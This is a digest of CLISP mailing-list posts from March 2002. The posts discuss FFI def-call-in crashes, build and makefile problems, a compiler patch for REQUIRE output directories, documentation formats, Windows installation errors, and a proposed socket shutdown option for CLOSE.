>   (:return-type int))
> 
> (defun test ()
>   (test_decider))
> 
> (defun decider (string)
>   (if (string= string "xxx")
>       1
>     0))
> ;end
> -----------
> 
> /*beta.c*/
> 
> extern int decider (char *txt);
> 
> int test_decider();
> 
> int test_decider() {
>   int rv;
>   rv = decider("xyz");
>   return rv;
> }	
>  
> /*end*/
> ------------
> 
> I am issuing these commands in a directory with linkkit and base.
> 
> clisp-link create-module-set test alpha.c
> gcc -c beta.c
> cd test
> ln -s ../beta.o beta.o
> #add beta.o to NEW_LIBS and NEW_FILES in link.sh
> cd ..
> ./base/lisp.run -M base/lispinit.mem -c alpha.lisp
> clisp-link add-module-set test base base+test
> 
> everything goes ok, except the final command results in the above
> mentioned error.
> 
> What am I doing wrong?
> How does *terminal-io* come into it?
> ?????????????
> 
> Regards,
> Peter
> 
> _______________________________________________
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> 

Hi

Has anyone tried it?

I was using a 'full' directory renamed to 'base'.  Now I tried it with
the old base directory, and I _also_ get the sigsegv which I have been
getting in my own module.  Hah, hah. 

What gives?

Regards,
Peter


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dan.stanger wrote:
> Is the construction (FFI:C-PTR nil) equivalent to FFI:C-POINTER?

No, it cannot be. C_POINTER is really opaque. It will even create an FOREIGN-ADDRESS for a NULL pointer. While C-PTR rejects that.

Also, C-PTR NIL cannot create a Lisp object of type FOREIGN-ADDRESS.

BTW, I never used NIL as a foreign type. Could you provide an example where you think it is useful?

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Peter Wood wrote:

> > Using 2.28 (well, CVS, actually)  on Gnu/Linux:

> > *** - The value of *terminal-io* was not a stream: #<closed 
> terminal-stream>. It has been changed to #<io terminal-stream>.

You're using CVS CLISP. Are you sure it's ok?, esp. the dribble change?

The message appears when *terminal-io* was closed (for whatever reason) and when later on, an attempt is made to use it. For example, all ancient streams are closed when an image restarts. Then CLISP reinitializes *terminal-io* to a new terminal stream.

> Has anyone tried it?
Not yet. And I have no CLISP on UNIX. So on Ms-Windows, I wouldn't run the clisp-link script.

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I am modifying cparse, written by Tim Moore to produce clisp ffi code
rather than cmucl foreign code.  From the impnotes table, I saw that
the ctype void corresponded to the lisp type nil, so I assumed that
one could refer to a pointer to void by c-ptr nil.  This just means
that I have to filter the code at the end.  Btw, I noticed that you
are writing a ffi document.  Would you email me a copy, as it might
be helpful.  My goal is to parse the cygwin win32 api headers and
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hello all,

i would like to make clisp compile to a parallel directory hierarchy
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> i am just trying to write a makefile for a project of mine and found out
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> 
> many thanks for any hints!

If you are writing something Lisp only, you are better off using
DEFSYSTEM.  Why do you need `make' for that?

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Hi

On Wed, Mar 27, 2002 at 05:39:37PM +0100, Hoehle, Joerg-Cyril wrote:
> Peter Wood wrote:
> 
> > > Using 2.28 (well, CVS, actually)  on Gnu/Linux:
> 
> > > *** - The value of *terminal-io* was not a stream: #<closed 
> > terminal-stream>. It has been changed to #<io terminal-stream>.
> 
> You're using CVS CLISP. Are you sure it's ok?, esp. the dribble change?

I am sure it's NOT ok.  It is breaking in both 2.28 (with the dribble
bug) and a clisp with the dribble bug fixed (CVS - approximately 3
days old).  I am just rebuilding 2.27 now, and will try it there too.

> 
> The message appears when *terminal-io* was closed (for whatever reason) and when later on, an attempt is made to use it. For example, all ancient streams are closed when an image restarts. Then CLISP reinitializes *terminal-io* to a new terminal stream.
> 

OK.  I take it nothing in the code jumped out at you as being a
sigsegv culprit.

By the way, I enjoyed reading your article on Extending Clisp.  I am
still digesting it.  On page 2, you have a TODO comment regarding 'mit
Kanonen auf Spatzen schiessen' ... if it means 'shooting sparrows with
a cannon', as I believe, then the English idiom is probably 'using a
sledgehammer to crack a nut'.  The Danes have an identical saying to
the German, but I have lived here so long, I had to ask a Danish
friend living in England!! what the English version might be.

Regards,
Peter


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On Wed, Mar 27, 2002 at 07:10:02PM +0100, Peter Wood wrote:

>  I am just rebuilding 2.27 now, and will try it there too.

I get the same result with 2.27, both with my module, and the test
described earlier: the *terminal-io* message followed by a segfault:

*** - The value of *TERMINAL-IO* was not a stream: #<CLOSED TERMINAL-STREAM>. It has been changed to #<IO TERMINAL-STREAM>.
*** - handle_fault error2 ! address = 0xFFFFFFF8 not in [0x68084260,0x680A5000) !
SIGSEGV cannot be cured. Fault address = 0xFFFFFFF8.
/usr/bin/clisp-link: line 2: 18450 Segmentation fault      (core dumped) "$@"

Regards,
Peter


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I was browsing through the Makefile generated by ./makemake to get a feel
for the build process, and i was curious if there was a reason there are rules
for every file instead of generic rules that describe (for example) how to
turn any file ending with .d into a c file (like so:)

%.c : %d
     $(COMMENT5) $< | $(ANSIDECL) | $(VARBRACE) > $*.c

(i haven't tested that, its just memory and a quick glance through the make
infomanual). Is it easier to generate rules for every file? Anyways, just
idle curiosity :o)

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> * In message <20607.1017257756@www50.gmx.net>
> * On the subject of "[clisp-list] Curious about Makefile rules"
> * Sent on Wed, 27 Mar 2002 20:35:56 +0100 (MET)
> * Honorable Scott Williams <ortmage@gmx.net> writes:
>
> %.c : %d
>      $(COMMENT5) $< | $(ANSIDECL) | $(VARBRACE) > $*.c

the Makefile is generated, so it is cheap to add a separate rule
per-file.
OTOH, make(1) utilities are wildly incompatible wrt such rules, so I am
pretty sure we _have_ to use explicit rules for full portability.

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> * In message <3CA1FA42.6972824A@cern.ch>
> * On the subject of "[clisp-list] how do i make clisp compile to a parallel directory hierarchy?"
> * Sent on Wed, 27 Mar 2002 17:58:42 +0100
> * Honorable Christian Schuhegger <Christian.Schuhegger@cern.ch> writes:
>
> i would like to make clisp compile to a parallel directory hierarchy
> (parallel to my src hierarchy). when i use "clisp -c source-file -o
> out-file " this works fine, but all the files included via "require"
> get compiled in the src hierarchy. is there a way to make clisp
> compile these files and put them also into the parallel hierarchy?

"this would be hard to construe as a feature" (L.Wall).

Please try the appended patch.
(Everyone who relies on REQUIRE should try it!)

thanks!

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--- compiler.lisp.~1.76.~	Thu Mar 21 20:23:05 2002
+++ compiler.lisp	Wed Mar 27 16:35:00 2002
@@ -242,6 +242,7 @@
 (defvar *compiling-from-file*) ; NIL or T if called by COMPILE-FILE
 (defvar *compile-file-pathname* nil) ; CLtL2 p. 680
 (defvar *compile-file-truename* nil) ; CLtL2 p. 680
+(defvar *compile-file-directory* nil) ; for c-REQUIRE
 (defvar *compile-file-lineno1* nil)
 (defvar *compile-file-lineno2* nil)
 (defvar *c-listing-output*) ; Compiler-Listing-Stream or nil
@@ -4309,7 +4310,16 @@
                (if (and (consp present-files)
                         (string= (pathname-type newest-file) "lib"))
                  (load newest-file :verbose nil :print nil :echo nil) ; load libfile
-                 (compile-file (or newest-file file)))))) ; compile file
+                 (let ((fi (or newest-file file)))
+                   (if  *compile-file-directory*
+                     ;; `compile-file' was called without an explicit
+                     ;; :output-file arg, so compile `in place'
+                     (compile-file fi)
+                     ;; `compile-file' was given :output-file,
+                     ;; so put the compiled file there
+                     (compile-file fi :output-file
+                                   (merge-pathnames *compile-file-directory*
+                                                    fi))))))))
       (if (atom pathname) (load-lib pathname) (mapcar #'load-lib pathname)))))
 
 ;;; auxiliary functions for
@@ -11332,6 +11342,10 @@
                                ((:verbose *compile-verbose*) *compile-verbose*)
                                ((:print *compile-print*) *compile-print*)
                           &aux liboutput-file (*coutput-file* nil)
+                               (*compile-file-directory*
+                                (if (eq t output-file) nil
+                                    (make-pathname :name nil :type nil
+                                                   :defaults output-file)))
                                (new-output-stream nil)
                                (new-listing-stream nil))
   (multiple-value-setq (output-file file)



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> * In message <3CA1F015.9CE89CAB@cern.ch>
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> * Sent on Wed, 27 Mar 2002 17:15:17 +0100
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>
> i am just trying to write a makefile for a project of mine and found
> out that the pwd is always searched before any other directories in
> custom:*load-paths*. how can i change this search sequence?

LOAD, as per CLHS, loads its arg after merging in
*DEFAULT-PATHNAME-DEFAULTS*.
When it fails, then, as an extension, it searches *LOAD-PATHS*.

Thus, you should modify *DEFAULT-PATHNAME-DEFAULTS*.

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> * In message <200203271650.g2RGopq00923@mantis.privatei.com>
> * On the subject of "[clisp-list] c-ptr nil vs c-pointer"
> * Sent on Wed, 27 Mar 2002 09:50:51 -0700 (MST)
> * Honorable dan.stanger@ieee.org writes:
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> I am modifying cparse, written by Tim Moore to produce clisp ffi code
> rather than cmucl foreign code.

This is very interesting.
Did you consider SWIG?
<http://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645>

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I briefly considered the use of swig, but decided against it, for
a few reasons:
1) Cparse was written in lisp, using clos and was a fairly short program.
2) Cparse already produced code for the cmucl foreign interface, so it
was easy to modify for clisp.
3) Swig had only scheme support, and was written in c.
Tom Moore gave me some really good insights as to how the program
worked, and it was easy to modify to skip over unimplemented stuff
like bitfields and attributes.
What remains for me to do is to output in the correct case, and
add in stdcall handling and some memory allocation.
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Hallo

> Impnotes _is_ the correct place for all documentation about CLISP.

Oh, please.    Impnotes.html - 1.076.849 bytes.

This is not a handy size for online use. Next year it go up to 1,2 mb.
Hmmm

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On Thu, Mar 28, 2002 at 01:11:45AM +0100, lin8080 wrote:
> Hallo
> 
> > Impnotes _is_ the correct place for all documentation about CLISP.
> 
> Oh, please.    Impnotes.html - 1.076.849 bytes.
> 
> This is not a handy size for online use. Next year it go up to 1,2 mb.
> Hmmm
> 
> stefan

I agree, furthermore ...

(warn :rant)
I advocate the use of plain text for documentation:

1) Plain text documentation is better than none.  
2) You won't get more portable than plain text.  
3) People don't have to *waste their time* on ugly, complex systems
   which are completely irrelevant to what they are trying to do,
   which is communicate.
4) XML, Latex, etc, etc are for *publishers*
5) Plain text is for when it is *important* that people can understand
   you.  
6) Plain text is infinitely manipulable.  
7) Any modern editor can move around plain text at least as usefully,
   quickly and meaningfully, as a browser can do so in some ugly markup.


The 'downside' to plain text is:

1) People who want a pretty surface won't read it. f**k them.
2) Bosses like pretty surfaces.  So what, this is free
   software. ditto.
(warn)

Joerg still needs somewhere to put his docs, no matter what format he
chooses. 

Regards,
Peter


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Hi

If anyone can tell me I am wrong, I promise to eat my hat, and be
happy about it.

If you want some background for this read the thread 'def-call-in
problem'.  I have tried the sort example (example 29.5) in impnotes,
with the only change being:

;--------------- 
(defpackage "FFI-TEST" (:use "LISP" "FFI")) 
(in-package "FFI-TEST") 
;-------------- 
;instead of:
(use-package "FFI")
;-----------------

And I get the same error message as described in the other thread.  I
am using a 'full' directory renamed 'base' so I didn't get the
sigsegv.

I have tried my own module on Clisp all the way back to 2.24 
( clisp-2000-03-06.tar.bz2) and get the error message about
*terminal-io* and a sigsegv if I am using clisp's base directory.

Has anyone ever actually used def-call-in?  Is anyone using it now?
What Clisp version are you building with?  If you have a working example
with 'def-call-in' might I be allowed to see it, so I can discover
what I am doing wrong?

I have tried stepping (si) through this with gdb and the first
indication I can find that something is wrong is when a stream_read
causes this:

0x08051783      1492                    *object_ptr = stream_read(&STACK_0,NIL,NIL); # Objekt lesen
(gdb) 

*** - The value of *TERMINAL-IO* was not a stream: #<CLOSED TERMINAL-STREAM>. It has been changed to #<IO TERMINAL-STREAM>.0x0805e1f6 in interpret_bytecode_ (closure=0x2036fccd, codeptr=0x203357b8, 
    byteptr_in=0x203357ca "ÇP\nk\003*\024m\004\0010\005Q&\006\031i\001\002/\a\031\001N\001") at eval.d:7524
7524                finish_entry_frame_1(CATCH,returner, goto catch_return; );

Up to this point, the stream_read was succeeding.

I have only used gdb very superficially before, so I am struggling to
think of what I can do.  Can anyone suggest what I should do in gdb...

Please.

Regards,
Peter


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Hi,

Wednesday, March 27, 2002, 11:56:17 PM, you wrote:

Joerg-Cyril> Arseny Slobodjuck wrote:
>>Thus, it is not a crash, but a nice stack overflow handling.

Joerg-Cyril> You seem to forget that in my initial mail I reported that using
Joerg-Cyril> (EXT:SPACE (9nines)) causes a program crash. It's not nice in any way.

Yes, I forgot this. Anyway, I think, the matter is in the GC, so actual progress
is deferred to the time when I'll understand how GC works (or somebody
else will fix it). Now my knowledge about GC algorithms is very weak. Links
are welcome. I heard Cohen-1981 is good, but cannot find it in pdf or
ps.

Thanks for the regexps (didn't test yet) !

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> > rather than cmucl foreign code.
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> This is very interesting.
> Did you consider SWIG?
> <http://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645>

The advantage of cparse is to be "Fully Lisp".
A very interesting project would be to be able to produce UFFI specs
from CParse.

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On Thu, 28 Mar 2002 06:12:52 +0100, Peter Wood wrote:

> I advocate the use of plain text for documentation:

You can easily generate a plain text version of the CLISP impnotes with the
Lynx browser.


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hello,

i have a question on how to find a file in a search path like:
(#P"C:\\lppeii\\obj\\fasl\\**\\" #P"C:\\lppeii\\src\\**\\" #P"C:"
#P"C:\\CLISP\\**\\")

obviously the implementation has a way to do this, because "require",
"load", "open", ... find files in the searchpath. but is there a
function that i can use like:
(locate-file "lppe-language.lisp")
->
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On Thursday 28 Mar 2002 5:12 am, Peter Wood wrote:

> I advocate the use of plain text for documentation:

But then we have to decide whether to use UNIX style text, MSDOS style text 
or MacOS style text!

Really, text is not great for documentation - it has no page breaks, so is 
not great to print, it can contain no images to help explain concepts, it has 
no formatting so text is dense and hard to navigate.

DocBook is OK, but is a pain to use. I would reccomend Latex if you are 
trying to produce something like a manual. For a simple note or README plain 
text is fine though.


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> * In message <3CA33B15.CA11D300@cern.ch>
> * On the subject of "[clisp-list] how to find a file in a search path?"
> * Sent on Thu, 28 Mar 2002 16:47:33 +0100
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> i have a question on how to find a file in a search path like:
> (#P"C:\\lppeii\\obj\\fasl\\**\\" #P"C:\\lppeii\\src\\**\\" #P"C:"
> #P"C:\\CLISP\\**\\")
> 
> obviously the implementation has a way to do this, because "require",
> "load", "open", ... find files in the searchpath. but is there a
> function that i can use like:
> (locate-file "lppe-language.lisp")
> ->
> #P"C:\\lppeii\\src\\core\\lppe-language.lisp"

what do you need this for?

clisp has sys::search-file in init.lisp - this is internal, unexported
&c, you use it at your own risk.

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> * In message <3CA33D63.27EAF26B@cern.ch>
> * On the subject of "Re: [clisp-list] how do i make clisp compile to a parallel directory  hierarchy?"
> * Sent on Thu, 28 Mar 2002 16:57:23 +0100
> * Honorable Christian Schuhegger <Christian.Schuhegger@cern.ch> writes:
>
> Sam Steingold wrote:
> > Please try the appended patch.
> > (Everyone who relies on REQUIRE should try it!)

did anyone else test it?

> there is a bug:
> > +                   (if  *compile-file-directory*
> this should be:
> > +                   (if  (not *compile-file-directory*)
thanks.

> and then it works, but only partially.

you want a full-blown system management.  REQUIRE ain't that.

PS. please do not move this into private e-mail.

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> * In message <3CA25FC1.CF9051C5@freenet.de>
> * On the subject of "Re: [clisp-list] Seeking place for CLISP documentation"
> * Sent on Thu, 28 Mar 2002 01:11:45 +0100
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> > Impnotes _is_ the correct place for all documentation about CLISP.
> 
> Oh, please.    Impnotes.html - 1.076.849 bytes.

are you aware of <http://clisp.cons.org/impnotes/>?

CLISP documentation should go with CLISP documentation.

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Todd (?) asked for shutdown(2) for sockets.

I want to add a keyword arg :DIRECTION to CLOSE.
then
        (close 2way-stream :direction :in)
is the same as
        (close (two-way-input-stream 2way-stream))
and
        (close socket :direction in)
is the same as
        shutdown(handle(socket),SHUT_RD);

do people like the interface?

I don't think this breaks ANSI "too much".  in CLISP the "official
signature" of the generic function CLOSE is already (stream &rest args).


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Hi,

  For Stefan and those who experience trouble with install.bat
in windows 95/98 - you may download install.bat and install.lisp
from CVS tree (you may use web browser for this - see
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/src/)
and try it.

   -- New, user - friendly interface (y-or-n-p).
   
   -- Works both in clisp source directory and in distrib directory.
   
   -- Associates .fas, .mem, .lsp, .lisp, .cl with clisp.

   -- Fixed line-separators in install.bat.

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Hi,

Specifying --with-noreadline to configure results in a suggestion to

'makemake --with-noreadline --with-readline [etc] > Makefile'

which is plainly nonsense.

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Sam Steingold <sds@gnu.org> writes:

> > * In message <20607.1017257756@www50.gmx.net>
> > * On the subject of "[clisp-list] Curious about Makefile rules"
> > * Sent on Wed, 27 Mar 2002 20:35:56 +0100 (MET)
> > * Honorable Scott Williams <ortmage@gmx.net> writes:
> >
> > %.c : %d
> >      $(COMMENT5) $< | $(ANSIDECL) | $(VARBRACE) > $*.c
> 
> the Makefile is generated, so it is cheap to add a separate rule
> per-file.
> OTOH, make(1) utilities are wildly incompatible wrt such rules, so I am
> pretty sure we _have_ to use explicit rules for full portability.

We do. For example, if memory serves me, AMU (Acorn Make Utility) is
braindead and only accepts certain extensions in rules. I'm sure I could
never get it to accept a rule for .d files, among others.

Peter




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> * In message <20020329073711.A16686@localhost.localdomain>
> * On the subject of "[clisp-list] configure bu... feature"
> * Sent on Fri, 29 Mar 2002 07:37:11 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> Specifying --with-noreadline to configure results in a suggestion to
> 'makemake --with-noreadline --with-readline [etc] > Makefile'
> which is plainly nonsense.

what about --without-readline?

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X-Original-Date: Fri, 29 Mar 2002 16:04:46 +0100

Hallo

After I have problemes with path-names during install the winzip with
clisp 2.28 I delete all lisp from my hd (include the registry) and did a
reboot. Then I extrakt the zip-file to c:\. This build a Path
"c:\clisp-2.28" and extract all data there. Start lisp.exe via win-start
and run 
c:\clisp-2.28\lisp.exe -M lispinit.mem

Then I follow exactly the text in the readme.de (with no changes in
config.lisp) and do a (compile-file "src/config.lisp"). This returned:

** - Continuable Error
INTERN("FILE"): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[2]> continue

Compilation of file C:\CLISP-2.28\src\config.fas is finished.
0 errors, 0 warnings
#P"C:\\CLISP-2.28\\src\\config.fas" ;
NIL ;
NIL
[3]> (load "src/config.fas")
:: Loading file src\config.fas ...
** - Continuable Error
DEFUN/DEFMACRO(SHORT-SITE-NAME): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[4]> continue

** - Continuable Error
DEFUN/DEFMACRO(LONG-SITE-NAME): #<PACKAGE COMMON-LISP> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[5]> continue

** - Continuable Error
DEFUN/DEFMACRO(EDITOR-NAME): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[6]> continue

** - Continuable Error
DEFUN/DEFMACRO(EDITOR-TEMPFILE): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[7]> continue

** - Continuable Error
DEFUN/DEFMACRO(EDIT-FILE): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[8]> continue

** - Continuable Error
DEFUN/DEFMACRO(CLHS-ROOT): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1.Break EXT[9]> continue

;; Loading of file src\config.fas is finished.
T
[10]> (saveinitmem) 

[pathname.d:6265]
*** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
file specified
1.Break [11]> abort
 
[12]> *load-paths*
(#P"C:" #P"C:\\CLISP\\**\\")
[13]> (exit)

This is nice :). 

Going back, (delete 1 registry-entry and the extracted files and reboot)
to a new start-point and start install.bat, better execute the command:
c:\clisp\lisp.exe -M lispinit.mem -norc -C src/install.lisp
makes a nice icon on my desktop, doubleclick does open a msg-box:
"cannot find the working folder for this programm ..."
This was fixed manually (it uses old datas, the old paths were deleted)
... so after about 2 houers of playing around, I went outside, sun is
shining.

stefan



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Hi,

On Fri, Mar 29, 2002 at 12:22:20PM -0500, Sam Steingold wrote:
> > * In message <20020329073711.A16686@localhost.localdomain>
> > * On the subject of "[clisp-list] configure bu... feature"
> > * Sent on Fri, 29 Mar 2002 07:37:11 +0100
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > Specifying --with-noreadline to configure results in a suggestion to
> > 'makemake --with-noreadline --with-readline [etc] > Makefile'
> > which is plainly nonsense.
> 
> what about --without-readline?
> 

um, no ...

To continue building CLISP, the following commands are recommended
(cf. unix/INSTALL step 4):
    cd WOR
    ./makemake  --without-readline --with-module=rl --with-readline --with-gettext --with-dynamic-ffi > Makefile

Sam, this is just a tiny, minor blemish.  Would you kindly, please,
confirm or deny my statement that the ffi is broken (def-call-in)?  I
am digging through ancient archives of clisp trying to discover where
it broke, and it is not ideal Friday night stuff.  I would appreciate
knowing that I have not just made some silly mistake, or that maybe
it's my gcc, or libc.

Can *you* get the sort example (example 29.5) in impnotes to build and
run?

Regards,
Peter


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> * In message <20020329213313.A28616@localhost.localdomain>
> * On the subject of "Re: [clisp-list] configure bu... feature"
> * Sent on Fri, 29 Mar 2002 21:33:13 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> Would you kindly, please, confirm or deny my statement that the ffi is
> broken (def-call-in)?  I am digging through ancient archives of clisp
> trying to discover where it broke, and it is not ideal Friday night
> stuff.  I would appreciate knowing that I have not just made some
> silly mistake, or that maybe it's my gcc, or libc.
> 
> Can *you* get the sort example (example 29.5) in impnotes to build and
> run?

I am not an FFI expert - Joerg is.
I hope he will address this.

I will try it though, when I have time.

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Hi,

Thanks for your reply.

On Fri, Mar 29, 2002 at 08:19:19PM -0500, Todd Sabin wrote:
> Peter Wood <peter.wood@worldonline.dk> writes:
> 
> > Has anyone ever actually used def-call-in?  Is anyone using it now?
> > What Clisp version are you building with?  If you have a working example
> > with 'def-call-in' might I be allowed to see it, so I can discover
> > what I am doing wrong?
> 
> clg-0.51 uses def-c-call-in, and I've gotten it to build (required
> some patches) and run ok with clisp-2.27, including callbacks.  Have
> you tried def-c-call-in?  Your example code with def-call-in didn't
> specify a language; maybe the default isn't what you expect?  (Don't
> really know, just guessing...)
> 
> 
> Todd
> 

I get the same result when I use def-c-call-in.  However, if you could
build clg with 2.27, I must be doing something wrong, since it uses
def-c-call-in.

If you have nothing against it, would you send me the patches you used
to get it to build.

Thanks again,

Peter


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I am having a problem compiling Clisp 2.28 on my HP 10.20 system. First
when I
do the configure I get the following error:

...
(cd .libs && rm -f libcallback.la && ln -s ../libcallback.la
libcallback.la)
make: warning:  Clock skew detected.  Your build may be incomplete.
make: *** Warning: File `avcall.lo' has modification time in the future
(2002-03-30 09:30:43 > 2002-03-30 09:30:03)
gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c
cc1: warning: -g is only supported when using GAS on this processor,
cc1: warning: -g option disabled.
/bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o
libavcall.la -o minitests
gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
./minitests > minitests.out
uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20
test '!' -s minitests.output.hppa2.0-hp-hpux10.20
make: *** [check] Error 1

To continue building CLISP, the following commands are recommended
(cf. unix/INSTALL step 4):
    cd src
    ./makemake  --prefix=/users/artn --with-readline --with-gettext >
Makefile
    make config.lisp
    vi config.lisp
    make
    make check



And this is where it dies when I run the make command:

...
cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce
-DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o ||
/bin/as arihppa.s -o arihppa.o
arihppa.s: Assembler messages:
arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
arihppa.s:8: Error: The .ENTER pseudo-op is not supported
arihppa.s:30: Error: The .LEAVE pseudo-op is not supported
arihppa.s: Assembler messages:
arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493
Please report this bug.
/bin/sh: /bin/as:  not found.
make: *** [arihppa.o] Error 127
artn@bs742>



I am using gcc version 3.04  along with the latest GNU make, autoconf,
and binutils to compile it.

Thanks for any help,




Art Nuzzo


a.nuzzo@motorola.com





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> * In message <m3adssnsic.fsf@gnu.org>
> * On the subject of "[clisp-list] shutdown(2) & sockets"
> * Sent on 28 Mar 2002 19:10:19 -0500
> * Honorable Sam Steingold <sds@gnu.org> writes:
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> I want to add a keyword arg :DIRECTION to CLOSE.
> then
>         (close 2way-stream :direction :in)
> is the same as
>         (close (two-way-input-stream 2way-stream))
> and
>         (close socket :direction in)
> is the same as
>         shutdown(handle(socket),SHUT_RD);

Done.
I would appreciate it if non-autoconf platform (like woe32) users
reported whether they have
        int shutdown(int, int);
available on their systems.
(the first argument may actually be something like HANDLE or Handle or
Socket or ...)

thanks.

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> * In message <3CA60E27.EBB91E63@ameritech.net>
> * On the subject of "[clisp-list] Problem compiling Clisp 2.28 on HP"
> * Sent on Sat, 30 Mar 2002 13:12:39 -0600
> * Honorable "A. Nuzzo" <nuzzart@ameritech.net> writes:
>
> gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
> ./minitests > minitests.out
> uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20
> test '!' -s minitests.output.hppa2.0-hp-hpux10.20
> make: *** [check] Error 1

this should be fixed in the CVS.

> cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce
> -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o ||
> /bin/as arihppa.s -o arihppa.o
> arihppa.s: Assembler messages:
> arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
> arihppa.s:8: Error: The .ENTER pseudo-op is not supported
> arihppa.s:30: Error: The .LEAVE pseudo-op is not supported
> arihppa.s: Assembler messages:
> arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
> arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493
> Please report this bug.
> /bin/sh: /bin/as:  not found.
> make: *** [arihppa.o] Error 127
> artn@bs742>

I think this is a GCC problem, not a CLISP one.

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Hello Sam,

Sam> I would appreciate it if non-autoconf platform (like woe32) users
Sam> reported whether they have
Sam>         int shutdown(int, int);
Sam> available on their systems.
Sam> (the first argument may actually be something like HANDLE or Handle or
Sam> Socket or ...)


That helps ?

shutdown
The Windows Sockets shutdown function disables sends or receives on a socket.

int shutdown (
  SOCKET   s,  
  int      how    
);
Parameters
s 
[in] Descriptor identifying a socket. 
how 
[in] Flag that describes what types of operation will no longer be allowed. 
Return Values
If  no  error  occurs,  shutdown  returns  zero. Otherwise, a value of
SOCKET_ERROR  is  returned, and a specific error code can be retrieved
by calling WSAGetLastError.

Error code Meaning 
WSANOTINITIALISED A successful WSAStartup call must occur before using
this function.
WSAENETDOWN The network subsystem has failed. 
WSAEINVAL  The  how  parameter is not valid, or is not consistent with
the  socket  type. For example, SD_SEND is used with a UNI_RECV socket
type.
WSAEINPROGRESS  A blocking Windows Sockets 1.1 call is in progress, or
the service provider is still processing a callback function.
WSAENOTCONN The socket is not connected (connection-oriented sockets only). 
WSAENOTSOCK The descriptor is not a socket. 


Remarks
The  shutdown  function  is  used  on  all types of sockets to disable
reception, transmission, or both.

If  the  how  parameter  is  SD_RECEIVE,  subsequent calls to the recv
function  on  the socket will be disallowed. This has no effect on the
lower  protocol layers. For TCP sockets, if there is still data queued
on  the  socket  waiting to be received, or data arrives subsequently,
the  connection  is  reset,  since the data cannot be delivered to the
user.  For UDP sockets, incoming datagrams are accepted and queued. In
no case will an ICMP error packet be generated.

If the how parameter is SD_SEND, subsequent calls to the send function
are  disallowed. For TCP sockets, a FIN will be sent after all data is
sent and acknowledged by the receiver.

Setting  how  to SD_BOTH disables both sends and receives as described
above.

The  shutdown  function  does  not  close  the  socket.  Any resources
attached to the socket will not be freed until closesocket is invoked.

To  assure  that  all  data is sent and received on a connected socket
before  it  is  closed,  an  application  should use shutdown to close
connection  before  calling  closesocket.  For  example, to initiate a
graceful disconnect:

Call WSAAsyncSelect to register for FD_CLOSE notification.
Call shutdown with how=SD_SEND. 
When FD_CLOSE received, call recv until zero returned, or SOCKET_ERROR. 
Call closesocket. 
Note  The shutdown function does not block regardless of the SO_LINGER
setting on the socket.

An  application  should not rely on being able to reuse a socket after
it  has  been  shut down. In particular, a Windows Sockets provider is
not  required  to support the use of connect on a socket that has been
shut down.

Notes for ATM
There  are  important  issues associated with connection teardown when
using Asynchronous Transfer Mode (ATM) and Windows Sockets 2. For more
information  about  these  important  considerations,  see the section
titled  Notes  for  ATM  in  the  Remarks  section  of the closesocket
function reference.

Requirements 
  Version: Requires Windows Sockets 1.1 or later.
  Header: Declared in Winsock2.h.
  Library: Use Ws2_32.lib.

-- 
Best regards,
 Arseny                            mailto:ampy@ich.dvo.ru




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Arseny,

> * In message <1611613750.20020331110809@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] shutdown(2) & sockets"
> * Sent on Sun, 31 Mar 2002 11:08:09 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Sam> I would appreciate it if non-autoconf platform (like woe32) users
> Sam> reported whether they have
> Sam>         int shutdown(int, int);
> Sam> available on their systems.
> Sam> (the first argument may actually be something like HANDLE or Handle or
> Sam> Socket or ...)
> 
> That helps ?

yes, thanks!

please try this:

(setq s (socket-connect 80 "gnu.org"))
==> #<IO UNBUFFERED SOCKET-STREAM CHARACTER gnu.org:80>
(write-line "GET / HTTP/1.0" s)
==> "GET / HTTP/1.0"
(close s :direction :output)
==> T
(output-stream-p s)
==> NIL
(read-line s)
==> "HTTP/1.1 200 OK" ; NIL
(close s :direction :input)
==> T
(input-stream-p s)
==> NIL
(open-stream-p s)
==> NIL
(close s)
==> T
s
==> #<CLOSED UNBUFFERED SOCKET-STREAM CHARACTER gnu.org:80>
(setq i (open "/dev/null" :direction :input) 
      o (open "/dev/null" :direction :output)
      2w (make-two-way-stream i o) 
      e (make-echo-stream i o))
==> 
#<IO ECHO-STREAM #<INPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>
